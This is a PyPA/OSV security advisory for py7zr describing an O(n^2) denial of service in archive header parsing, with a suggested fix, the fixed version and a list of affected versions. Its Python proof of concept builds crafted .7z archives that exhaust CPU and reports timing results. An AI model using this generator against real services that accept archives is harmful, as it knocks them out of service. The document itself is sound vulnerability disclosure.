PYSEC-2026-2973

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/py7zr/PYSEC-2026-2973.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-2973
Aliases
Published
2026-07-13T15:46:22Z
Modified
2026-07-13T16:32:08Z
Severity
  • 6.9 (Medium) CVSS_V4 - CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
Details

Summary

PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.

Details

The vulnerable code is in PackInfo._read() (archiveinfo.py):

self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]

numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.

Suggested fix — replace with O(n) cumulative sum:

from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))

PoC

  import py7zr
  from py7zr.archiveinfo import write_uint64, PROPERTY

  MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'

  def encode_uint64(v):
      buf = io.BytesIO()
      write_uint64(buf, v)
      return buf.getvalue()

  def build_7z_with_streams(numstreams):
      header = io.BytesIO()
      header.write(PROPERTY.HEADER)
      header.write(PROPERTY.MAIN_STREAMS_INFO)
      header.write(PROPERTY.PACK_INFO)
      header.write(encode_uint64(0))
      header.write(encode_uint64(numstreams))
      header.write(PROPERTY.SIZE)
      for _ in range(numstreams):
          header.write(encode_uint64(1))
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header.write(PROPERTY.END)
      header_data = header.getvalue()

      out = io.BytesIO()
      out.write(MAGIC)
      out.write(b'\x00\x04')
      next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
      start_header = (struct.pack('<Q', 0)
                      + struct.pack('<Q', len(header_data))
                      + struct.pack('<I', next_crc))
      out.write(struct.pack('<I', binascii.crc32(start_header) &
  0xFFFFFFFF))
      out.write(start_header)
      out.write(header_data)
      return out.getvalue()

  for n in [1000, 5000, 10000, 30000, 50000]:
      archive = build_7z_with_streams(n)
      start = time.time()
      try:
          with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
              pass
      except Exception:
          # The crafted archive may later raise due to being malformed,
          # but the quadratic work has already been performed during
          # header parsing in SevenZipFile.__init__().
          pass
      elapsed = time.time() - start
      print(f"n={n:6d}  size={len(archive):8d} bytes
  time={elapsed:.3f}s")

Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.

Results:

n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s

Impact

Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

References

Affected packages

PyPI / py7zr

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.1.3

Affected versions

0.*
0.0.3
0.0.4
0.0.5
0.0.6
0.0.7
0.0.8
0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.2.0
0.3
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.4a1
0.4a2
0.4b1
0.4
0.4.1
0.4.3
0.4.4
0.5a3
0.5a4
0.5b1
0.5b2
0.5b3
0.5b4
0.5b5
0.5b6
0.5rc2
0.5rc3
0.5
0.5.2
0.5.3
0.5.4
0.5.5
0.6a1
0.6a2
0.6b1
0.6b2
0.6b3
0.6b4
0.6b5
0.6b6
0.6b7
0.6b8
0.6rc0
0.6
0.7.0b1
0.7.0b2
0.7.0b3
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.8.0a1
0.8.0a2
0.8.0a3
0.8.0b1
0.8.0b2
0.8.0b3
0.8.0b4
0.8.0b5
0.8.0b6
0.8.0b7
0.8.0b8
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.9.0a1
0.9.0a2
0.9.0b1
0.9.0b2
0.9.0b3
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5
0.9.7
0.9.8
0.9.9
0.9.10
0.10.0a1
0.10.0a2
0.10.0a3
0.10.0a4
0.10.0a5
0.10.0a6
0.10.0b1
0.10.0b3
0.10.0
0.10.1
0.10.2
0.11.0a1
0.11.0b1
0.11.0b2
0.11.0b3
0.11.0
0.11.1
0.11.2
0.11.3
0.12.0
0.13.0
0.13.1
0.14.0
0.14.1
0.15.0
0.15.1
0.15.2
0.16.0
0.16.1
0.16.2
0.16.3
0.16.4
0.17.0
0.17.1
0.17.2
0.17.3
0.17.4
0.18.0
0.18.1
0.18.3
0.18.4
0.18.5
0.18.6
0.18.7
0.18.9
0.18.10
0.18.11
0.18.12
0.19.0
0.19.1
0.19.2
0.20.0
0.20.1
0.20.2
0.20.4
0.20.5
0.20.6
0.20.7
0.20.8
0.21.0
0.21.1
0.22.0
1.*
1.0.0rc1
1.0.0rc2
1.0.0rc3
1.0.0
1.1.0rc2
1.1.0rc4
1.1.0
1.1.2

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/py7zr/PYSEC-2026-2973.yaml"